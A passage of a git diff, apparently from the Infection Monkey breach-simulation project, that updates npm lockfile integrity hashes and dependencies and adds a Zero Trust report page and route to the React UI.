"sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "requires": { "ajv": "^6.5.5", "har-schema": "^2.0.0" @@ -10169,17 +10372,17 @@ "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA=" + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "mime-db": { "version": "1.40.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", - "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI=" + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" }, "mime-types": { "version": "2.1.24", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", - "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", "requires": { "mime-db": "1.40.0" } @@ -10187,17 +10390,17 @@ "oauth-sign": { "version": "0.9.0", "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU=" + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" }, "psl": { "version": "1.1.32", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", - "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs=" + "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" }, "request": { "version": "2.88.0", "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", - "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", "requires": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", @@ -10224,7 +10427,7 @@ "safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0=" + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" }, "semver": { "version": "5.3.0", @@ -10234,7 +10437,7 @@ "tough-cookie": { "version": "2.4.3", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", - "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "requires": { "psl": "^1.1.24", "punycode": "^1.4.1" @@ -10243,7 +10446,7 @@ "uuid": { "version": "3.3.2", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE=" + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" } } }, @@ -10325,7 +10528,7 @@ "node-sass": { "version": "4.12.0", "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz", - "integrity": "sha1-CRT1MZMjgBFKMMxfpPpjIzol8Bc=", + "integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==", "requires": { "async-foreach": "^0.1.3", "chalk": "^1.1.1", @@ -10349,7 +10552,7 @@ "ajv": { "version": "6.10.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", - "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", "requires": { "fast-deep-equal": "^2.0.1", "fast-json-stable-stringify": "^2.0.0", @@ -10360,7 +10563,7 @@ "aws4": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", - "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8=" + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" }, "cross-spawn": { "version": "3.0.1", @@ -10374,7 +10577,7 @@ "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=" + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" }, "fast-deep-equal": { "version": "2.0.1", @@ -10384,7 +10587,7 @@ "har-validator": { "version": "5.1.3", "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "requires": { "ajv": "^6.5.5", "har-schema": "^2.0.0" @@ -10393,22 +10596,22 @@ "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA=" + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "lodash": { "version": "4.17.11", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", - "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40=" + "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" }, "mime-db": { "version": "1.40.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", - "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI=" + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" }, "mime-types": { "version": "2.1.24", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", - "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", "requires": { "mime-db": "1.40.0" } @@ -10421,17 +10624,17 @@ "oauth-sign": { "version": "0.9.0", "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU=" + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" }, "psl": { "version": "1.1.32", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", - "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs=" + "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" }, "request": { "version": "2.88.0", "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", - "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", "requires": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", @@ -10458,12 +10661,12 @@ "safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0=" + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" }, "tough-cookie": { "version": "2.4.3", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", - "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "requires": { "psl": "^1.1.24", "punycode": "^1.4.1" @@ -10472,7 +10675,7 @@ "uuid": { "version": "3.3.2", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE=" + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" } } }, @@ -13227,7 +13430,7 @@ "npmlog": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=", + "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", "requires": { "are-we-there-yet": "~1.1.2", "console-control-strings": "~1.1.0", @@ -13497,7 +13700,7 @@ "osenv": { "version": "0.1.5", "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", - "integrity": "sha1-hc36+uso6Gd/QW4odZK18/SepBA=", + "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", "requires": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" @@ -13730,7 +13933,7 @@ "path-parse": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", - "integrity": "sha1-1i27VnlAXXLEc37FhgDp3c8G0kw=" + "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" }, "path-to-regexp": { "version": "0.1.7", @@ -14005,7 +14208,7 @@ "promise": { "version": "7.3.1", "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", "requires": { "asap": "~2.0.3" } @@ -14360,6 +14563,15 @@ "scheduler": "^0.11.2" } }, + "react-event-timeline": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz", + "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==", + "dev": true, + "requires": { + "prop-types": "^15.6.0" + } + }, "react-fa": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", @@ -14600,7 +14812,7 @@ "react-spinners": { "version": "0.5.4", "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.4.tgz", - "integrity": "sha1-WBZvi/hMvwbdesytS5SleXz+qbk=", + "integrity": "sha512-jo7BE8prvnZNL7xNrQL16geVXH6LmaWrhvvXnmUwz2MhFO14bhlAdCLuKCwqmUJ37kGphH0C2CJRThwkjfpVzw==", "requires": { "@emotion/core": "^10.0.4", "prop-types": "^15.5.10", @@ -14648,7 +14860,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "requires": { - "js-tokens": "3.0.2" + "js-tokens": "^3.0.0 || ^4.0.0" } } } @@ -14751,7 +14963,7 @@ "recompose": { "version": "0.30.0", "resolved": "https://registry.npmjs.org/recompose/-/recompose-0.30.0.tgz", - "integrity": "sha1-gnc2QbOSfox9JKDYfWWu66GKq9A=", + "integrity": "sha512-ZTrzzUDa9AqUIhRk4KmVFihH0rapdCSMFXjhHbNrjAWxBuUD/guYlyysMnuHjlZC/KRiOKRtB4jf96yYSkKE8w==", "requires": { "@babel/runtime": "^7.0.0", "change-emitter": "^0.1.2", @@ -15047,7 +15259,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" + "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" }, "resolve-url": { "version": "0.2.1", @@ -15123,6 +15335,11 @@ "aproba": "^1.1.1" } }, + "rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" + }, "rxjs": { "version": "6.3.3", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz", @@ -15242,7 +15459,7 @@ "sass-loader": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz", - "integrity": "sha1-Fv1ROMuLQkv4p1lSihly1yqtBp0=", + "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==", "requires": { "clone-deep": "^2.0.1", "loader-utils": "^1.0.1", @@ -15255,12 +15472,12 @@ "big.js": { "version": "5.2.2", "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", - "integrity": "sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg=" + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" }, "json5": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", "requires": { "minimist": "^1.2.0" } @@ -15268,7 +15485,7 @@ "loader-utils": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", - "integrity": "sha1-H/XcaRHJ8KBiUxpMBLYJQGEIwsc=", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", "requires": { "big.js": "^5.2.2", "emojis-list": "^2.0.0", @@ -15283,7 +15500,7 @@ "semver": { "version": "5.7.0", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", - "integrity": "sha1-eQp89v6lRZuslhELKbYEEtyP+Ws=" + "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==" } } }, @@ -15525,7 +15742,7 @@ "shallow-clone": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", - "integrity": "sha1-RIDNBuiC72iyrYij6lSDLixItXE=", + "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", "requires": { "is-extendable": "^0.1.1", "kind-of": "^5.0.0", @@ -15535,7 +15752,7 @@ "kind-of": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0=" + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" } } }, @@ -16027,7 +16244,7 @@ "stdout-stream": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", - "integrity": "sha1-WsF0zdXNcmEEqgwLK9g4FdjVNd4=", + "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", "requires": { "readable-stream": "^2.0.1" }, @@ -16040,12 +16257,12 @@ "process-nextick-args": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o=" + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" }, "readable-stream": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -16059,7 +16276,7 @@ "string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "requires": { "safe-buffer": "~5.1.0" } @@ -16397,7 +16614,7 @@ "tar": { "version": "2.2.2", "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz", - "integrity": "sha1-DKiEhWLHKZuLRG/2pNYM27I+3EA=", + "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==", "requires": { "block-stream": "*", "fstream": "^1.0.12", @@ -16588,7 +16805,7 @@ "true-case-path": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", - "integrity": "sha1-+BO1qMhrQNpZYGcisUTjIleZ9H0=", + "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", "requires": { "glob": "^7.1.2" } @@ -17069,7 +17286,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" + "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" }, "vary": { "version": "1.1.2", @@ -19045,8 +19262,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -19089,8 +19305,7 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", @@ -19101,8 +19316,7 @@ "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -19219,8 +19433,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -19232,7 +19445,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -19249,20 +19461,18 @@ "dev": true, "optional": true, "requires": { - "brace-expansion": "1.1.11" + "brace-expansion": "^1.1.7" } }, "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -19281,7 +19491,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -19362,8 +19571,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -19375,7 +19583,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -19461,8 +19668,7 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -19498,7 +19704,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -19518,7 +19723,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -19562,14 +19766,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -19979,7 +20181,7 @@ "whatwg-fetch": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz", - "integrity": "sha1-/IBORYzEYACbGiuWa8iBfSV4rvs=" + "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q==" }, "which": { "version": "1.3.0", @@ -19998,7 +20200,7 @@ "wide-align": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", - "integrity": "sha1-rgdOa9wMFKQx6ATmJFScYzsABFc=", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", "requires": { "string-width": "^1.0.2 || 2" } diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index a76541e36..4da085836 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -55,6 +55,7 @@ "null-loader": "^0.1.1", "phantomjs-prebuilt": "^2.1.16", "react-addons-test-utils": "^15.6.2", + "react-event-timeline": "^1.6.3", "react-hot-loader": "^4.3.11", "rimraf": "^2.6.2", "style-loader": "^0.22.1", @@ -64,12 +65,15 @@ "webpack-dev-server": "^3.1.9" }, "dependencies": { + "@emotion/core": "^10.0.10", "@kunukn/react-collapse": "^1.0.5", - "classnames": "^2.2.6", "bootstrap": "3.4.1", + "classnames": "^2.2.6", "core-js": "^2.5.7", + "d3": "^5.11.0", "downloadjs": "^1.4.7", "fetch": "^1.1.0", + "file-saver": "^2.0.2", "filepond": "^4.2.0", "js-file-download": "^0.4.4", "json-loader": "^0.5.7", @@ -84,6 +88,7 @@ "react-bootstrap": "^0.32.4", "react-copy-to-clipboard": "^5.0.1", "react-data-components": "^1.2.0", + "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", "react-dom": "^16.5.2", "react-fa": "^5.0.0", @@ -93,14 +98,13 @@ "react-jsonschema-form": "^1.0.5", "react-redux": "^5.1.1", "react-router-dom": "^4.3.1", + "react-spinners": "^0.5.4", "react-table": "^6.8.6", "react-toggle": "^4.0.1", "react-tooltip-lite": "^1.9.1", "redux": "^4.0.0", "sass-loader": "^7.1.0", "sha3": "^2.0.0", - "react-spinners": "^0.5.4", - "@emotion/core": "^10.0.10", - "react-desktop-notification": "^1.0.9" + "pluralize": "^7.0.0" } } diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 619d5e922..09038292e 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -7,10 +7,10 @@ import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; -import PassTheHashMapPage from 'components/pages/PassTheHashMapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; import ReportPage from 'components/pages/ReportPage'; +import ZeroTrustReportPage from 'components/pages/ZeroTrustReportPage'; import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; @@ -29,6 +29,8 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg'); let guardicoreLogoImage = require('../images/guardicore-logo.png'); let notificationIcon = require('../images/notification-logo-512x512.png'); +const reportZeroTrustRoute = '/report/zero_trust'; + class AppComponent extends AuthComponent { updateStatus = () => { this.auth.loggedIn() @@ -148,7 +150,7 @@ class AppComponent extends AuthComponent {
  • - + 4. Security Report {this.state.completedSteps.report_done ? @@ -156,6 +158,15 @@ class AppComponent extends AuthComponent { : ''}
  • +
  • + + 5. + Zero Trust Report + {this.state.completedSteps.report_done ? + + : ''} + +
  • @@ -190,7 +201,8 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} - {this.renderRoute('/report', )} + {this.renderRoute('/report/security', )} + {this.renderRoute(reportZeroTrustRoute, )} {this.renderRoute('/license', )} @@ -200,10 +212,11 @@ class AppComponent extends AuthComponent { } showInfectionDoneNotification() { - if (this.state.completedSteps.infection_done) { - let hostname = window.location.hostname; - let url = `https://${hostname}:5000/report`; - console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon); + if (this.shouldShowNotification()) { + const hostname = window.location.hostname; + const port = window.location.port; + const protocol = window.location.protocol; + const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`; Notifier.start( "Monkey Island", @@ -212,6 +225,11 @@ class AppComponent extends AuthComponent { notificationIcon); } } + + shouldShowNotification() { + // No need to show the notification to redirect to the report if we're already in the report page + return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report")); + } } AppComponent.defaultProps = {}; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 9885219ad..4d4f55dad 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -11,7 +11,47 @@ export function renderMachine(val){ export function renderMachineFromSystemData(data) { let machineStr = data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ - machineStr += ipInfo['addr'] + " "; + if(typeof ipInfo === "object"){ + machineStr += ipInfo['addr'] + ", "; + } else { + machineStr += ipInfo + ", "; + } }); - return machineStr + ")" + // Replaces " ," with " )" to finish a list of IP's + return machineStr.slice(0, -2) + " )" } + +/* Formats telemetry data that contains _id.machine and _id.usage fields into columns + for react table. */ +export function getUsageColumns() { + return ([{ + columns: [ + {Header: 'Machine', + id: 'machine', + 